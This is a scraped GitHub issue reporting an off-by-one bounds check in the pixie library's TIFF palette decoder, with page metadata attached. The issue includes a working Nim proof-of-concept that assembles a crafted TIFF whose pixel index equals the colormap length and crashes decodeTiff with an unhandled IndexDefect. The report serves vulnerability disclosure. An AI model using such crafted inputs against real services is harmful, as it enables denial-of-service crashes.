Title: Off-by-one crash in TIFF parsing · Issue #562 · treeform/pixie · GitHub
Open Graph Title: Off-by-one crash in TIFF parsing · Issue #562 · treeform/pixie
X Title: Off-by-one crash in TIFF parsing · Issue #562 · treeform/pixie
Description: https://github.com/treeform/pixie/blob/master/src/pixie/fileformats/tiff.nim#L232-L239 The code accepts colorMapIndex == colorMap.len, then indexes colorMap[colorMapIndex]. That is an off-by-one parser bug: malformed palette TIFFs can es...
Open Graph Description: https://github.com/treeform/pixie/blob/master/src/pixie/fileformats/tiff.nim#L232-L239 The code accepts colorMapIndex == colorMap.len, then indexes colorMap[colorMapIndex]. That is an off-by-one pa...
X Description: https://github.com/treeform/pixie/blob/master/src/pixie/fileformats/tiff.nim#L232-L239 The code accepts colorMapIndex == colorMap.len, then indexes colorMap[colorMapIndex]. That is an off-by-one pa...
Opengraph URL: https://github.com/treeform/pixie/issues/562
X: @github
Domain: github.com
IPv4 address: 140.82.113.4
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Off-by-one crash in TIFF parsing","articleBody":"https://github.com/treeform/pixie/blob/master/src/pixie/fileformats/tiff.nim#L232-L239\n\nThe code accepts `colorMapIndex == colorMap.len`, then indexes `colorMap[colorMapIndex]`. That is an off-by-one parser bug: malformed palette TIFFs can escape normal validation and crash with an unhandled `IndexDefect` instead of returning `PixieError`.\n\n```nim\n# Run: nim r --path:src pocs/tiff_colormap_off_by_one.nim\nimport pixie/fileformats/tiff\n\nproc addLe16(data: var string, value: int) =\n data.add(char(value and 0xff))\n data.add(char((value shr 8) and 0xff))\n\nproc addLe32(data: var string, value: int) =\n data.add(char(value and 0xff))\n data.add(char((value shr 8) and 0xff))\n data.add(char((value shr 16) and 0xff))\n data.add(char((value shr 24) and 0xff))\n\nproc addIfdEntry(\n data: var string,\n tag, fieldType, numValues, valueOrOffset: int\n) =\n data.addLe16(tag)\n data.addLe16(fieldType)\n data.addLe32(numValues)\n data.addLe32(valueOrOffset)\n\nconst\n ifdOffset = 8\n entryCount = 9\n colorMapOffset = ifdOffset + 2 + entryCount * 12 + 4\n pixelDataOffset = colorMapOffset + 6\n\nvar payload = \"\"\npayload.add(\"II\")\npayload.addLe16(42)\npayload.addLe32(ifdOffset)\npayload.addLe16(entryCount)\npayload.addIfdEntry(0x0100, 4, 1, 1) # ImageWidth\npayload.addIfdEntry(0x0101, 4, 1, 1) # ImageLength\npayload.addIfdEntry(0x0102, 3, 1, 8) # BitsPerSample\npayload.addIfdEntry(0x0103, 3, 1, 1) # Compression = none\npayload.addIfdEntry(0x0106, 3, 1, 3) # PhotometricInterpretation = palette\npayload.addIfdEntry(0x0111, 4, 1, pixelDataOffset)\npayload.addIfdEntry(0x0116, 4, 1, 1) # RowsPerStrip\npayload.addIfdEntry(0x0117, 4, 1, 1) # StripByteCounts\npayload.addIfdEntry(0x0140, 3, 3, colorMapOffset)\npayload.addLe32(0) # No next IFD.\n\n# One palette entry split into R/G/B planes.\npayload.addLe16(0)\npayload.addLe16(0)\npayload.addLe16(0)\n\n# Pixel value 1 is equal to colorMap.len, so the decoder indexes colorMap[1].\npayload.add(char(0x01))\n\necho \"parsing crafted TIFF with palette index == colorMap.len\"\ndiscard decodeTiff(payload)\n```","author":{"url":"https://github.com/hourianto","@type":"Person","name":"hourianto"},"datePublished":"2026-03-10T13:45:19Z","url":"https://github.com/treeform/pixie/issues/562"}
| react-profiling | 0 |
| react-import-map | react,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322 |
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:c1f845d6-7675-30dd-f59e-beaf838a17ed |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | 98EC:3FA310:51ED97:711774:6B04A13B |
| html-safe-nonce | ec3157c1ad77df8747f3e9a702664147b5a2d2b208ea9b758777e30033702909 |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5OEVDOjNGQTMxMDo1MUVEOTc6NzExNzc0OjZCMDRBMTNCIiwidmlzaXRvcl9pZCI6IjYzOTU1NzI5MDI0NzMwMTU2MTEiLCJyZWdpb25fZWRnZSI6ImlhZCIsInJlZ2lvbl9yZW5kZXIiOiJpYWQifQ== |
| visitor-hmac | f36d01a7082367b9cffe8381e5ad1d86356d4ab5915a6e8bfb223a695797bf18 |
| hovercard-subject-tag | issue:4051921815 |
| github-keyboard-shortcuts | repository,source-code,file-tree,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/treeform/pixie/562/issue_layout |
| twitter:image | https://opengraph.githubassets.com/18f45b8b63f7f7367b84fb527a642dc14319c23006861e3e739226ff1e209b95/treeform/pixie/issues/562 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/18f45b8b63f7f7367b84fb527a642dc14319c23006861e3e739226ff1e209b95/treeform/pixie/issues/562 |
| og:image:alt | https://github.com/treeform/pixie/blob/master/src/pixie/fileformats/tiff.nim#L232-L239 The code accepts colorMapIndex == colorMap.len, then indexes colorMap[colorMapIndex]. That is an off-by-one pa... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | hourianto |
| hostname | github.com |
| expected-hostname | github.com |
| None | 9784b6f42e2d5eac4e394fa88cad134c0dc5b6662b4ff2787a1ed1ef5a96331d |
| turbo-cache-control | no-preview |
| go-import | github.com/treeform/pixie git https://github.com/treeform/pixie.git |
| octolytics-dimension-user_id | 125948 |
| octolytics-dimension-user_login | treeform |
| octolytics-dimension-repository_id | 314427501 |
| octolytics-dimension-repository_nwo | treeform/pixie |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 314427501 |
| octolytics-dimension-repository_network_root_nwo | treeform/pixie |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | 3fd14143b75b2af7b76bbd23b069867d091adfcc |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
| react-app-name | issues |
Links:
| Server | github.com |
| Content-Type | text/html; charset=utf-8 |
| Cache-Control | max-age=0, private, must-revalidate |
Viewport: width=device-width